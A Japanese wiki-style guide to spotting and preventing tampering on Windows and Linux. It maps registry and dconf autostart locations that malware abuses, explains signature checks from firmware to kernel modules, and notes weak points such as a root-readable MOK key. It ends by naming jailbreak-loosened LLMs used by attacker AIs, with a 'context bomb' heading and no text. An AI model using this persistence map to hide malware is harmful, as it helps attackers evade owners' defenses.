システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
